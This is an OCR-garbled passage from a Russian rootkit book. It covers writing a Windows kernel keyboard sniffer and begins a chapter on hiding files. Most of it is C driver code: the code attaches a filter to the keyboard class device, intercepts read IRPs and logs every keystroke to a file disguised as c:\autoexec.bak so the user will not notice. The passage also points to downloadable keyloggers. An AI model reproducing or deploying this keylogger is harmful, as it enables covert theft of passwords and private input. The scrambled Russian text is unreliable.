о   оп и сан , а  чо­т т Мн в о ргу е ы щ у с о в н ел т и м и р у е ст

й  кырот

р   кл а в и а ту р 8042 

  и  уст строй  в

е  драйвео

6 . 5 . 2 .  IRP и  СЕТ т е к аП юс т мор



а 

Ко н тр о л е

с.Ри



(бе з   и м е н и

а   IRP  умодкенитрва о   в  ои цф аль н о й   у м о д ке н а ц т и о  вбщо е  н е  описан о .  е   рд а й в е ы   н д ог о   рой в уст и   з ап рос а   в о да / в ы о д а   к   м н ог ур в е м т   IRP,  кот ры й   б у де т   п е р да

,  и споль з у й   и  драй ве у  драй верами

­ ­ . 

а   о лт ь к о   ч иа с т н о .  о­т Ч т  о и   о т   Microsoft,  чо­т т о   ­  н  е а   орм и ф ую н   в се

т   цу ч п о е к у   др а й в е м   др а й в е р а

.  рП у   ор ф м   ц е п о ч ки

и  ­ .  173 

RootKits 

П ерв ы м  пчлуоеа вы м .  Послнед и О н  пчлуоеа

т  IRP драйве р  ниавы шс ге й   рд а й в е р   в  цпечок .  т  IRP понслед им

о  уровн я е   в ы п ол н е я

, сщ ояти

й  в  ц печок

т   н и з о ук р в н е ы . ^ 

е  пре

­ . 

е   у н фцк и

.. . 

.­J  S i x ] 

File  View  Јe&rch  Jds  Help 

°Ш ГЙ\ЈТ





D R V  № № *

EB  Й  

D H V  \Dr(v«Wm»  D R V  \Drivet\drnload 



9  9 

D R V  \Dr««\Fdc  D R V  \Drivcf\FETN01SB 

• 

D R V  \>iver\flps 

'ХЬ Шгр уёЛиЗ LoadAodresi 

Ш   ­  D R V  ^ I v e r i f t d t s k  :•.  DFW  \Driver\Gpc  3 

A T T  yCwvice^eytaardCSaSiO  @ •  D E V  (unnamed)  A T T  \I>evit*:\PwntetClassfl 

> Ь «В210С

Oirver Sizr. 

50KB 

 т

Duvet  !срЬО

D E V  (unnamed) 

Т 

Hande Court.  References'  Altnbur.es 

D R V  \Dnver\iMH2prt  &• 

­d 

j * J  vlara Function Code» Supported: 

б 

IRP  MJ  CREATE  IRP  MJ  CLOSE  IRP  MJ  FLUSH  BUFFERS  IRP  MJ  DEVICE  CONTROL  IRP_MJJN!ERNAL_OEVICE_CONTROL 



itMoaSooo'™ 

Slartlo Entry Porn 

brf3S218CF 

Add Device Entry Punt: 

i3xF982№ 1C"



D R V  \Dnvei\trrwp« 

Fiagr  . : 

ILi­GACYJj'RMR 

Щ  

D R V  \0.w»i\tpFiterDriver 

Service Heme; 

SSSprt"" 



D R V  \a­iv«\JPS«: 

!*! 

D R V  \Orhpvery;bdcla5f  D R V  W W r t r V *  D R V  \DriverVr/er\Kbdda«  D E V  \Oevice\K*ybosrdaaj  D E V  \Devjce\Keybsardaa:  D R V  \Drwrty.tf  D R V  \Ower\Kfoc  D R V  \Dr(ver\kmixer  D R V  \r>rvery.s*cDO  D R V  \Dnver\MA!LFILT,DU  ORV  \Onver\mnmdd 

Device Capacities:  Г   DeviceDI  Г   DockQevfce  Г   DeweD2  V­}  r t l n k j g e i O  •)  LockSupporled  Г   Removable  Г "  EiectS upported 

Г   Г   Г   Г  

:  Г   RawPeviceOK  :   Г   SuipiseRemova  Г   Sttentfnstaii 

F  Г "  Г "  Г ' 

WakeFromDO  WakeFiomOl  WakeFiofr,D2  WakeFiom03 

и Лс т и н

!,D1 Latency. 

DeytceWafce; 

j : D 2 L a i e W 

D3Latency:  i 



.  7. J. DeviceTree:  росмп т р

г  7 . 1 .  СТАОНУВК

HardwsreDtsebled  NonDynamie  .:  WaimEieclSupooited  ;  NoOtsptayfnUI 

[  SydemWak* 

J  Рис



:у : 

А  ФЬРТЛ И

А Р УТА КЛИВ

  орм ацифн

  о  флагх

  ера вй д

Ы 

NTSTATUS  H o o k K b r d d N  PDRIVERJDBJECT  p D r i v e r O b j e c t )  / /  фи л ь т р   об ъ ект а   устрой ств а  PDEVICEJDBJECT  p K e y b o a r d ;  NTSTATUS  s t a t u s ;  / /  с о з д а е м   объек т   устрой ств а   дл я   кл а в и а ту р s t a t u s  =  I o C r e a t e D e v i c e ( p D r i v e r O b j e c t ,  sizeof(DEVICE  EXTENSION),  NULL, 

ы 

179 

RootKits  FILE_DEVICE_KEYBOARD,  0, true, pKeyboard);  // убедимся , чт о  увтсйор о  дньлетивсй о   надзос о  if(!NT_SUCCESS(status))  return status;  // Устанвлие м   галф и  pKeyboard­>Flags  =  pKeyboard­>Flags  I (DO_BUFFERED_IO  I DO_POWER_PAGABLE);  pKeyboard­>Flags  = pKeyboard­>Flags  &  ~DO_DEVICE_INITIALIZING;  // иницалзруе м   рутк с у   DEVICE_EXTENSION.  // слачн а   еялунбо м  RtlZeroMemory(pKeyboard­>DeviceExtension,  Sizeof(DEVICE_EXTENSION));  PDEVICE_EXTENSION  pKeyboardExtension  =  (PDEVICE_EXTENSION)pKeyboard­>DeviceExtension;  // Нша е  устройв о   в  цкчопе е  утсйор в  беду т   сьтидохан я  // вшы е  увтсйор а   KeyboardClassO  (им я  в  Unicode).  // Устанвлием   тьлиф р  вовзы м   IoAttachDevice  CCHAR NameBuffer[64]  =  "\\Device\\KeyboardClassO";  STRING  NameString;  UNICODE_STRING  KeyboardDeviceName;  RtllnitAnsiString(SNameString,  NameBuffer);  RtlAnsiStringToUnicodeString(&KeyboardDeviceName,  SNameString,  TRUE);  IoAttachDevice(pKeyboard,  SKeyboardDeviceName,&pKeyboardExtension­>pKeyboardDevice);  RtlFreeUnicodeString(uKeyboardDeviceName);  DbgPrint("Attaching  Filter Device  ...  OK\n");  return  STATUS_SUCCESS;  }// HookKbrd 

7.2. ЗСУПА

К  ОГОНЬ ЛЕ ДТ ИТА ЖАН

О  ПА КОТ Я   Л А В ИК

, Щ ЮУГРЕИЛО КОТРП

О 

Ш 

В н р е мс кл а в и а т у р лк а в и

я   к   н ша е й   у н фц к и и   DriverEntry.  лсПо е  уаснт овк и   л ов уш к ы   н а м   н уж н о   и н и ц и али з и ров ат ь   п от к   дл я   з ап и с и   н а ж ит ш   в  фай л .  Польск у   тэ о  уовдль сти е  довль н о   об ъ ем н ,  мрио ф ге о  в  вид е  фунцк и и   InitKeySnif  f er  (ли стн г  7.2).  н ит с и Л

г  7.2.  И Ц КН УФ

и   лд  я й  м 

Я  INITKEYSNIFFER 

NTSTATUS  InitKeySniffer(  IN PDRIVERJDBJECT  pDriverObject)  {  // Улетазк ь   н а  DEVICE_EXTENSION истеузьлоп я лд я // иницалз и   ырот кен х  чонел в   рутк с ы  PDEVICE_EXTENSION  pKeyboardExtension  =  (PDEVICE  EXTENSION)pDriver­>DeviceObject­>DeviceExtension; 

180 

в а Гл

а  7. Пиш е

м  се ф ни

р   л а в у к ри т

ы 

// Синяотс е   пот ка , пгещюурилокт о   итаж н я   шивалк ,  // беду м   тинарх ь   в  bThreadTerminate  pKeyboardExtension­>bfhreadTerminate  = false;  // Сеадзо м   от п к  HANDLE hThread;  NTSTATUS  status =  PsCreateSystemThread(ShThread,  (ACCESS_MASK)0,  NULL,  (HANDLE)0,  NULL,LogKeysThread,  pKeyboardExtension);  if(!NT_SUCCESS(status))  return status;  // Пеачуло м   летаз ку ь  н а  океъб т  пкот а  ObReferenceObjectByHandlef  hThread,  THREAD_ALL_ACCESS,  NULL,KernelMode,  (PVOID*)SpKeyboardExtension­>pThreadObj,  NULL);  // На м  бшьло е  н е  нежу н  дотпирксе р   кот п а  ZwClose(hThread);  return status;  } 

аК е а зд о с ил в т о а р з ж е оп

к  виедт

т яп О р т ы сб лД

ь  взщоаврсме о   е а и н рб я  ег о  хран е и

м   к о тп ь   мас . 

, в  фунцк и ,  ыротк и   н аж и т

и   InitKeySnif  fer  н ичге й   е д уб т   п е ыр х в а т я   л ав и к ш   е д уб т   у н ф цк и

я  к  DriverEntry.  иНжат т  тс ке т , пю ялва тсдер т   об с я   на м  понбадист я  сзвян ы

о  сложн г о   нте : м ы   прост о  ь   н а ж ит я   л ка в и ш .  Прокт ­ я   LogKeysThread,  н о  о  не й 

я  кившал й   ы р ен в п й  список

, онебос й   о тп . Соз аид

о  кдго а  к­от т к   нак­с вод к м  ж е  его : 

о  . 

PDEVICE_EXTENSION  pKeyboardExtension  =  (PDEVICE_EXTENSION)  pDriver­>DeviceObject­>DeviceExtension;  InitializeListHead(SpKeyboardExtension­>QueueListHead); 

р еп Т цз аи

ь  з аймес и   м ы   од л ж н и ь пл со з ы м е у

пу тсо д и п ь л с о з тв а е м  утвеид ч и ут л п о

я   си н хро и з ац и е й   пу тсо д а   к   мо т э у   у п ки с . Д л я   си н хро и ы   и сп ол ь з в ат ь   с п и н ­ б лио к р в у   (spinlock)  ­  механ из м й   рд о я м   Windows  NT дл я   обеспчн и я   в з а и м о л юс к ч а ю щ е г а   к   г л об а ь н ы м   си ем н т ы м   ура т к с м   адн ы х .  Есл и   м ы   н е   е д уб ь  вз аимоблкрв у   (эт о  дгуро е  н аз вн и е  spinlock'a), т о  ри уск ь  син й  эарк н  си трем , кдго а  дв а  пко т а  ондвомер о   п оы юа т с ь  дуост п  к  сзвян ом у  су кпис . 

­ ,   о м  ­  я

KelnitializeSpinLock(SpKeyboardExtension­>lockQueue);  KelnitializeSemaphore(&pKeyboardExtension­>semQueue,  0 , MAXLONG); 

лсоП ы т ип с а в м еч о П ни е р

е  эгот

о  приуспт ь  пвхерчан ы у  имен о  так е   .bak  н е  вы з вое

м   к  сзонади е  н ажит ? А  чбот ы  н итк т   п зо д нер и й

ю  файл а   ол п к р т а   ­ в  нге о  м ы  беду м   за ­ я  клавиш . Наз ове м  ег о  с  : \ a u t o e x e c  . bak.  о  н е  догалдся . С  ондо й  сорнт ы , расш и ­ , а  с  дгуор й   ор н ст ы , на ш  фай л   н е  беду  т 181 

RootKits 

п зер а и с н   ов ыст ек autoexec  . b a t  н е  исполь з усеят

м   мор т ка де

,  опльск

у   в   Windows  2000/Х Р   йа ф

л 



IO_STATUS_BLOCK  f i l e _ s t a t ;  OBJECT_ATTRIBUTES  attrib;  CCHAR  NameFile[64] =  WDosDevicesWc  : Wautoexec  .bak''  STRING  NameString;  UNICODE_STRING  FileName;  RtllnitAnsiString(SNameString,  NameFile);  RtlAnsiStringToUnicodeString(SFileName,  SNameString,  TRUE);  InitializeObjectAttributes(  Sattrib, SFileName,  OBJ_CASE_INSENSITIVE,  NULL,  NULL);  Status =  ZwCreateFile(spKeyboardExtension­>hLogFile,  GENERIC_WRITE, Sattrib, Sfile_stat,  NULL,  FILE_ATTRIBUTE_NORMAL,  0,  FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT, NULL,0  RtlFreeUnicodeString(SFileName);  if  (Status  != STATUS_SUCCESS)  {  DbgPrint ("Cannot create  log file...\n") ;  DbgPrint("Status  = %x\n", file_stat);  else 

/ /  йа ф л   ш еп нс у о   соз дан ,  н е   и д оыв м   ин к а / /  дл я   м а с ки р о в к и  / /  D b g P r i n t ( " C r e a t i n g  f i l e . . .  OK\n")  ; 

М ы  пксиче т кар з г е р аи в о т с

и  нласип ь  фунцкию

и  фцниук , вы з умева

х   оч л ад тн ы

ю  DriverEntry. Ве с ю  пр и  вызугрк

х   щ б н о ие с

, чт о  на м ь осола тс , — эт о  е  драйве а  и з  пит мая : 

pDriverObject­>DriverUnload  = SnifferUnload;  return  STATUS_SUCCESS; 

оК

д  фунцк и

иЛ с т и н

и   Snif  f erUnload  пиервд

г   7 . 3 .  Ф УН ЦИК

н  в  листн г

е  7.3. 

Я   SNIFFERUNLOAD 

VOID  SnifferUnload(  IN PDRIVER_OBJECT  pDriverObject)  {  //Пеачуло м   летаз ку ь   н а   DEVICE_EXTENSION  PDEVICE_EXTENSION  pKeyboardExtension  =  (PDEVICE_EXTENSION)  pDriverObject­>DeviceObject­>DeviceExtension;  //Оеачюлкт м   тьлиф р  IoDetachDevice(pKeyboardExtension­>pKeyboardDevice); 

182 

й 

в а Гл // пмеджо еин ладу

,  коп

а  нша

и   IRP "утурм

а  7. Пиш е "  (ве д й ы

м  се ф ни т  и х  TTL)  ерп

р   л аувр икт

ы  д 

м  // увтсйор а  KTIMER Timer;  LARGE_INTEGER  timeout;  timeout.QuadPart  = 1000000; // 0.1  с  KelnitializeTimer(STimer);  while(numPendinglrps  > 0)  {  //Уеавилнтс м   емйат р  KeSetTimer (STimer, timeout,  NULL);  KeWaitForSingleObject(STimer,  Executive, KernelMode,  false  ,NULL);  }  //Зеашрв м   от п к   реф инс а  pKeyboardExtension  ­>bThreadTerminate  = true;  // Оеаджобвс м   офамес р  KeReleaseSemaphore(SpKeyboardExtension­>semQueue,0,1,TRUE);  KeWaitForSingleObject(pKeyboardExtension­>pThreadObj,  Executive, KernelMode,  false,  NULL);  //Зеавырк м   йаф л  ZwClose(pKeyboardExtension­>hLogFile);  //Уеялад м   втсйор у о  IoDeleteDevice(pDriverObject­>DeviceObject) ;  return; 

7.3. ОКТО БАР

А   IRP ЧИ Н Е Т

Я  КЛР УТА ИВ

Ы 

р еп Т

ь   ри ас м от м   ун ц кф и ю   KeyRead,  ыбоартвю щ у ю   IRP_MJ_READ.  а  фунцк и я   в ы з вс а е т я   пр и  октбоар е  конрлте м   л к а в и у тр ы   з ап рос а  н а  чнети . Н а  эот т  мнмео т   IRP ещ е  н е  сержоди т   н уж о й   н а м   и н о р м аф ц и :  ан м  нжеу н   IRP уж е  плсо е  тго , ка к  бы л о  зисакф рован о  н ажит е   л ка в и ш и ,  т о  етс ь   агдот ,  гдок а   IRP  едуб т   в оз ращ ь т с я   ноб рат о   о т   о нк р т л е а   ла к ­ ыру ви та .  нЗ ачит ,  нша ме у   рай д в е у   п ри с ет д я   з арег и ст ров а ь   з ав ерш аю ­ щу ю  пцоруде у   с  пщмо ь ю   вы з о а   loSetCompletionRoutine,  ин ча е   м ы  н е  сжоме м   в осп л ь з ов ат с я   о з те ар ь л у м  IRP.  тЭ

н ит с Ли

г  7.4.  И Ц КН УФ

Я  KEYREAD 

NTSTATUS KeyRead(IN  PDEVICE_OBJECT  pDeviceObject,  IN PIRP plrp)  {  PIO_STACK_LOCATION  currentlrpStack  =  IoGetCurrentlrpStackLocation(plrp);  PIO_STACK_LOCATION nextlrpStack =  IoGetNextlrpStackLocation(plrp)  *nextIrpStack  =  *currentIrpStack; 

183 

RootKits  // пеадр м   орпаз с   IRP "вниз "  IoCopyCurrentlrpStackLocationToNext(plrp);  // реуритсг м   ущюашрев з ю  прудецо у   ReadCompletion  IoSetCompletionRoutine(plrp,  ReadCompletion,  Device, TRUE, TRUE, TRUE) ;  // увелича м   ичте с к   ын ечулоп х   IRP  // Эт о  ганьлбо я   ан ем р п я  numlrps++;  // пеадр м   IRP н а  уневор ь   инв з  return  IoCallDriver((  (PDEVICE_EXTENSION)Device­>DeviceExtension)­>KeyboardDevice,  plrp);  ) // KeyRead 

л с оП з ы в с ает ви ш и с ма ыд

е  KeyRead сома е  врем я  з аньтяс я  фунцкие й  ReadCompletion.  Он а  вы ­ я   а гд о т , кгдо а   в  сменитсо м   ре б фу е  уж е  етс ь  санк ­ок д   н ож а т й   ал к ­ и  и  осает я  ег о  одут а  из влечь . Тчнео , в  сменитсо м  бер уф е   с и н тд о х а  я в   и з  н еослкьи х   л ем э н о т в   ­  утркс р   KEYBOARD_INPUT_DATA, кжа ­ й  и з  корыт х  свеутсо т  н ожат й  клавиш е . 

typedef  struct _KEYBOARD_INPUT_DATA  {  USHORT  Unitld;  USHORT MakeCode;  USHORT Flags;  USHORT Reserved;  ULONG  Extralnformation;  ) KEYBOARD_INPUT_DATA,  *PKEYBOARD__INPUT_DATA; 

М ы  оевдт ел бо

м  дл е  убонд у

я  хран е и ю  дл я  н аш их

я   н аж о т  ц ле

й  клавиш

struct  KEY_DATA  {  LIST_ENTRY  ListEntry;  // пицзо char Data;  char Flags; 

аН м  пон адбист я  ещ е  онд а  суртк щ ом ь ю  корт й  можн о  уазкьт Shift)  бы л и  н ажт ы  онд оврем н struct  KEY_STATE  {  bool  kSHIFT;  bool  kCAPSLOCK;  bool  kCTRL;  bool  kALT; 

184 

и   н е  эт у  суртк  KEY_DATA: 

й  суртк

, киак

//нтаж //нтаж //нтаж //нтаж

я   в  сонзяв

а  ­  урткс е  и з  клави ш ­миодактрф о  с  н йе . 

м   ксип

а  сонстяи

а   Shift  а   CAPS LOCK  а   Ctrl  а  Alt 

, а  оилепдр

м 

е 

я  клави ш и

, с  по ­ в   (Ctrl, Alt, 

в а Гл н ит с Ли

г  7.5.  И Ц КН УФ

а  7. Пиш е

м  се ф ни

р   л аувр икт

ы 

Я  READCOMPLETION 

NTSTATUS ReadCompletiondN  PDEVICE_OBJECT  pDeviceObject,  IN PIRP plrp,  IN PVOID Context)  (  PDEVICE_EXTENSION  pKeyboardExtension  =  (PDEVICE_EXTENSION)Device­>DeviceExtension;  if  (Irp­>IoStatus.Status  ==  STATUS_SUCCESS)  {  PKEYBOARD_INPUT_DATA  keys =  (PKEYBOARD_INPUT_DATA)pIrp­>AssociatedIrp.SystemBuffer;  // скьло о  нитаж й   ивалк ш  улепс о  птсапо ь   в  бефу р  int numKeys =  Irp­>IoStatus.Information  / sizeof(KEYBOARD_INPUT_DATA);  for (int i = 0; i Data  =  (char)keys[i].MakeCode;  keyData­>Flags  =  (char)keys[i].Flags;  //Деялвабо м   рутк с у  KEY_DATA  в  сынзяв й   осип к  ExInterlockedlnsertTailList(  SpKeyboardExtension­>QueueListHead,  SkeyData­>ListEntry,  &pKeyboardExtension­>lockQueue) ;  //Уеавичл м   офамес р  н а  1  KeReleaseSemaphore(SpKeyboardExtension­>semQueue,0,1,FALSE)  } // for  } // if  // Пеачмо м   IRP ка к   ынажредз й  if(pIrp­>PendingReturned)  IoMarklrpPending(plrp);  // п о  зинешрва и   ктобар и   IRP уеашьнм м   ичте с к  numlrps—;  return  Irp­>IoStatus.Status  ) // ReadCompletion 

7.4. ЗСИПА м еч о П в ы п олн ен и

Ь Ы Н  ПЕЧ А В Х Е Р у   м ы   н е   жм о е я   уф н к ц и

Х  КЛАВИ

Ш  В  ФАЙ

м   сохран т я ь   н ы жа т е   л ак в и ш и   ReadCompletion?  Потму

 Л и   в   айф л   п мр я о   в   дох  е ,  ч т о   о н а   р а б о та е т    с 185 

RootKits 

п р и о ет

м и  з апрещ н ы х  клави т   оп т к  уж и   у дб т й   п та м я

л ам ж иа т я о Эт к о пт ж г у р м ео а н ит с и Л

г  7.6.  И Ц КН УФ

  IRQL, рван ы м  DISPATCH_LEVEL, н а  корт . Пмотэ у  ReadCompletion  одлж н а  паетрд ш  пу ко т , кырот й  м ы  сзолад и  пр и  и н и ц али з ац и е  з апиш е т   и о р м ан ц ф ю   в  файл . Обмен и вьатс   чер з   бо щ и й   дл я   н и х   з с в я н ы й   пс и ко ,  н ащходя и й с и  (No n Paged Pool memory).  Я   LOGKEYSTHREAD,  А Щ Ю А В Ы ИС П ЗА

Я И Т А  НАЖ

м  операц и ь  дан ы и   ера сн ф и я   адн ы м

Я И В А  КЛ

Ш  В  ФЙ А

и  с  фай ­ е  о  на ­ .  и   т э и  я   в  ныве ­

 Л

VOID LogKeysThread  (IN PVOID  Context)  {  PDEVICE_EXTENSION  pKeyboardExtension  =  (PDEVICE_EXTENSION)Context;  PDEVICE_OBJECT  pKeyboard =  pKeyboardExtension­>pKeyboardDevice;  // энемл т   ксип а  PLIST_ENTRY  pListEntry;  LIST_ENTRY  ListEntry;  KEY_DATA*  keyData;  // Гынвал й   киц л  октобар и  ­ накс од к в  while(true)  {  // Оеадиж м   ын ад е  KeWaitForSingleObject(  SpKeyboardExtension­>semQueue,  Executive,KernelMode,  FALSE,NULL);  pListEntry  =  ExInterlockedRemoveHeadList(  &pKeyboardExtension­>QueueListHead,  SpKeyboardExtension­>lockQueue) ;  // Пот к   рдя а   зьлен я   тишреваз ь  извне .  // Зеашрв м   ге о  соньлетясма ,  лсе и  фал г   инешр ваз я  // установле .  // Эот т  фал г  устеавилн я   кьлот о  в  сачул е  // вкзургы и   ревйа д а  if(pKeyboardDeviceExtension­>bThreadTerminate  ==  true)  {  PsTerminateSystemThread(STATUS_SUCCESS);  // извлека м   ын ад е  и з  саксип .  // макро с   CONTAINING_RECORD  еащрвзо т   летаз ку ь  // н а  нлач о   рутк с ы   ын ад х  keyData  = CONTAINING_RECORD(  pListEntry,  KEY_DATA,  ListEntry);  // пеузарбо м  ­ накс ок д  в  ко д  кшивал и  char  keys[3] = (0);  ScanCode2KeyCode (pKeyboardExtension, keyData, keys) 

186 

в а Гл //у б е д и м с я ,  ч т о   п о л у ч е i f ( k e y s  !=  0) 

н   п рав и ль н ы

й   ко

а  7. Пиш е

м  се ф ни

д   пере

д   з ап и сь

р   л а в у к ри т ю   е г о   в   аф й

ы  л 



//зеавысип м   ын ад е   в  фйа л  if(pKeyboardExtension­>hLogFile  != NULL)  {  IO_STATUS_BLOCK  io_status;  NTSTATUS  status =  ZwWriteFile(pKeyboardExtension­>hLogFile,  NULL,NULL,NULL,  &io_status,  &keys,strlen(keys),  NULL,NULL);  }// if  }// if  }// while  return;  }// LogKeysThread 

р пе Т

ь   и р мт со а

м   у н ц фк и ю   ScanCode2KeyCode.  Послкь у   н о а   н исо , т о  я   птсор о  пирвде у   е е  ли стн г   —  еб з   омкен арти в я  фун цк и я   и сп ол ь з уе т   и см а в ы  а М у е К р  и  ExtendedKeyMap,  а  тажк о   оп ред л н и й   (луч ш е  эт и  таблиц ы  вы н ест и  в  оедлть н ы й  з агол й  фай л  ­  codes  . h). 

ж лу с б е н ы Д ан а н е с ок л ь ч н ов ы

 т . 

й   ер т ха к

н ит с и Л

г  7.7. И Н А В О З А Р Б О Е Р П

Е ­ СНДА ККО

А  В  КО

Д Ш И В КЛА

е  ­

 И

void ScanCode2KeyCode  (PDEVICE_EXTENSION  DeviceExtension,  KEY_DATA*  keyData, char* keys)  {  char  key = 0;  key = К[ раМуе keyData­>KeyData ] ;  KEVENT event  =  {0} ;  KEYBOARD_INDICATOR_PARAMETERS  indParams  = {0);  IO_STATUS_BLOCK  ioStatus =  {0} ;  NTSTATUS  status =  {0 } ;  KelnitializeEvent(Sevent,  NotificationEvent,  FALSE);  PIRP  irp =  IoBuildDeviceloControlRequest(  IOCTL_KEYBOARD_QUERY_INDICATORS,  DeviceExtension­>pKeyboardDevice,  NULL,0,  SindParams,sizeof(KEYBOARD_ATTRIBUTES),  TRUE,Sevent,SioStatus);  status = IoCallDriver(DeviceExtension­>pKeyboardDevice,  irp)  if  (status ==  STATUS_PENDING)  {  (VOID) KeWaitForSingleObject( ќ 

187 

RootKits  Sevent, Suspended,KernelMode,  FALSE,NULL);  }  status = irp­>IoStatus.Status;  if(status == STATUS_SUCCESS)  {  indParams = *  (PKEYBOARD_INDICATOR_PARAMETERS)  irp­>AssociatedIrp.SystemBuffer;  if(irp)  {  int flag =  (indParams.LedFlags & KEYBOARD_CAPS_LOCK_ON)  DbgPrint ("Caps Lock  Indicator Status: %x.\n", flag);  }  else  DbgPrint("Error allocating  Irp");  }//end if  switch (key)  (  case LSHIFT:  if(KeyData­>Flags == KEY_MAKE)  DeviceExtension­>kState.kSHIFT = true;  else  DeviceExtension­>kState.kSHIFT = false;  break;  case RSHIFT:  if (KeyData­>Flags == KEY_MAKE)  DeviceExtension­>kState.kSHIFT = true;  else  DeviceExtension­>kState.kSHIFT = false;  break;  case CTRL:  if(KeyData­>Flags == KEY_MAKE)  DeviceExtension­>kState.kCTRL = true;  else  DeviceExtension­>kState.kCTRL = false;  break;  case ALT:  if(KeyData­>Flags == KEY_MAKE)  DeviceExtension­>kState.kALT = true;  else  DeviceExtension­>kState.kALT = false;  break;  case SPACE:  if((DeviceExtension­>kState.kALT  != true) &&  (KeyData­>Flags == KEY_BREAK))  keys[0] ­ 0x20;  break; 

188 

в а Гл

а  7. Пиш е

м  се ф ни

р   л аувр икт

ы 

c a s e  ENTER:  if((DeviceExtension­>kState.kALT  != true)  &&  (KeyData­>Flags  ==  KEY_BREAK))  {  keys[0] = OxOD;  keys[1] = OxOA;  }  break;  default:  if((DeviceExtension­>kState.kALT  != true)  &&  (DeviceExtension­>kState.kCTRL  != true)  &&  (KeyData­>Flags  == KEY_BREAK))  {  if((key  >= 0x21)  &&  (key kState.kSHIFT  ==  true)  keys[0] = ExtendedKeyMap[KeyData­>Data];  else  keys[0] = key;  }// if  }// if  break;  }//  switch(keys)  ќ// ScanCode2KeyCode 

7.5. СКРОБ

А  СР ФЕ НИФ

А 

е Сн ф и р  уж е  н аписн . Ва м  сйеча с  пиотсдер т  огромн а я  рабто : собрат ь  п ри не дв ы й  в  пыдещру м   п ну т к е  ко д  видеон . Те , кт о  сп равстя я  с  эит м  зад м н еи , муго т  счиьат , чт о  он и  н е  толь к о  праснек о  знюа т  С , н о  и  раз обрли с с о  вес м   пыдерщу и м   е мр и а т л о .  В  эо т м   пунтк е   я   п а р юо с т ь   ав м   в  эот п мч о ь .  оКн еч н о ,  мож н о   бы л о   п рост о   п ри в ест и   в   п ри лож ен и и   п олн ы н д ои ы х с й  кдо , н о  я  в  ц еля х  вша ге о  раз ви т я  н е  бду у  эогт о  делаьт .  В­о ыврпех йа л ф

,  гдок а   т е д уб е   лю пк д о ч т а х   ntddk.h  и   ntddkbd.h. 

ь   з аг ол в ч н ы

е   ай фл ы

,  н е   зьдбуат

­ ­ ь  м  й  е   о 

• include  " n t d d k . h "  • i n c l u de  "ntddkbd.h" 

ж каТ и орм ац н ф

е   н е   н уж

о   з аб ы в ат я  о  санк­аходк

н ме р П а

я   numlrps  одлж н

i n t  numlrps  =  0;  лсЕ и  в ы  раз би л и  фунцк и н ем рп а я  — вн еш ня

ь   о   н ша е .  а  бы т и   н а  рзан ы : 

м   а й фл ь  глобаь н й е  файлы

е   codes, h,  в   ортк

м   х р а н и ст

 я

:  , т о  н е  зьдбуат

е  уакз ьт

, чт о  эт а 

189 

RootKits 

e x t e r n  numlrps;  Д л я  косркта и  м ы  исполь з вал в ия ь т : 

и   нвыо

й  ти п  BOOL, помтэ

у  ег о  н жун

о  оъб

­

typedef BOOLEAN BOOL; 

Вд о р

е   б ы   е вс . 

рд а й в е

7.6. Ы В О Т ГО Ва

м  лен й  вмнер

ны ва и тсо тес

. Тпер

ь   а в м   н уж

Е ЫНР КЛУТА ИВ ь  писат

Е  СР ФЕ НФИ

ь  свобенст ы м  сне фи

т  огбос и  в ы  мжоте

о  тадур е  нйат

дл я  уанст овк у р . Ран и тва ь  в  ррест

а  очне

,  мотпэ

ь   MAKEFILE  и   омпктил рова

ь 

Ы 

й   ес рн ф и р  клавиурт . Пирче и  ег о  висре

гм Поа р а   з а п су е т к я   и  н иче о т  нроеаст к   в  коингуфрац и он о HookDump  паозк ы ват ь   и ен й рт ф а в о им т ч е с к , чт о  имне о  нжун ил и  собы ит я  мы ш и , в  кока й  фай гм Поа р и т л ась »

о   зос та д

ь  хорш ая у   е е   ю о п е л р яд

?  гоМ у  помренк вдат ь   н е р в по ­ ы  HookDump.  Найт и  ег о  в  Ин ерт е  н е  м  HookDump н паис н  н аослть к о  давн о , чт о  в  и  ка к  дл я  Win 3.11, та к  и  дл я   Windows XP.  м   н е  пвероля т   себ я .  Е е   повенд и е   з ва и с м   а й лф е . Та м  в ы  может   уа кз ь т , беду с   п р и   з е п ак с у ,  едбу т   л и   о н   з аг руж ь т с о  пывхерта ь  ­  собы ит я  клавиурт л  н жун о  з аписы ват ь  вс е  н аж ит я   л а вк и ш

, н о  у  не е  оид н  нкотасде т   жа д е   ым а с е   рд е в н и и   п г мо ар ы   ав м  нидохбе м   и з ф ч е си к е  верси и  HookDump нжун о  бы л о  тжак е  саемлтоьсян е  дл я  аиомватчгеск о  запксу . 

: у ж  боль н е   ан ит в русы й   у тсо д

о  он

 т т  л и   я ы   и /  . 

а  «звеса .  И  еще

п   к  кмпоью ет о  ппориыс

­ :  ­ ­

Р а з у м се я т ,  морк е   HookDump  щюувсте т   и   руг д и е   п гор ма ы .  аН ­ п ир м е ,  в   архив е   h t t p : / / w w w . s o u r c e s . r u / b u i l d e r / k s . r a r  ос ­ ед р ж и с т я   жу е   воытг й   лавкиурнт ы й   е рс н ф и ,  аюрбот щ и й   п о   мо т  у ж е   п ир н ц п у ,  чт о   и   HookDump.  Прочиат ь   о   н е м   м ож н о   н а   й ат с  е h t t p :  //www. h a r d l i n e  . ru/3/37/3579.  а Т м   ж е  в ы   н айетд е   сы лк у   н а  ег о  н ид о х с ы й  кдо .  Соз ан д и е  клави уртн ог о  сенр фи а  опинас о  в  мнвжотсе е  сейат . Наприме B h t t p : / / h a c k z o n e . s t s l a n d . r u / s p e c x a k e p / s 0 0 4 / 0 7 4 / 1 . h t m l  акср з на о , ка к  н апи ст ь  сне фи р  с  ипслоьз вна ие м   Visual С , а  н е  DDK. 

190 

,  ­

АВ Г Л

  8.  РЫ ЕТИК СО

R O O T K I T S 

   ОВ ЛЙ ФА

н дО а  и з  вжанйеш и и  файлов , пропи сан ы

х  фунцки

й  ритк у х  в  ег о  кионгурацф н о

а  ­  т э о  сырикто

е  файло м   а й фл

в  сгома е  рикуат

о  ритк у

а 



В   г в ла е   6 м ы  расремлот и   в х па е р т   в ы з ов а   ZwQuerySystemlnf  ormation  я   с ор кы ит я   п цор в с е ;  ет м   ж е   обсп м   мжо н о   п ер хв и ат ь   ну ц к и ф ю  ZwQueryDirectoryFile  и  срык ват ь  файлы . Н о  эот т  спос б  ием т  дв а  ноде ­ акт с : во­первы х , о н  сравн иельт н о  легк о  обн аруживсяет ,  а  во­орывт х , о н   н е  поз веля т  сркы т ь  файлы , располжен ы е  н а  общ и х  раз едлх .  Исполь з у  я м н ог ур в е ы е  драй веы , м ы  мжео м  из бавиьтс я  о т  эит х  новкаетдс .  дл

аК

к  вадгес

, н чан е

м  с  фунцк и

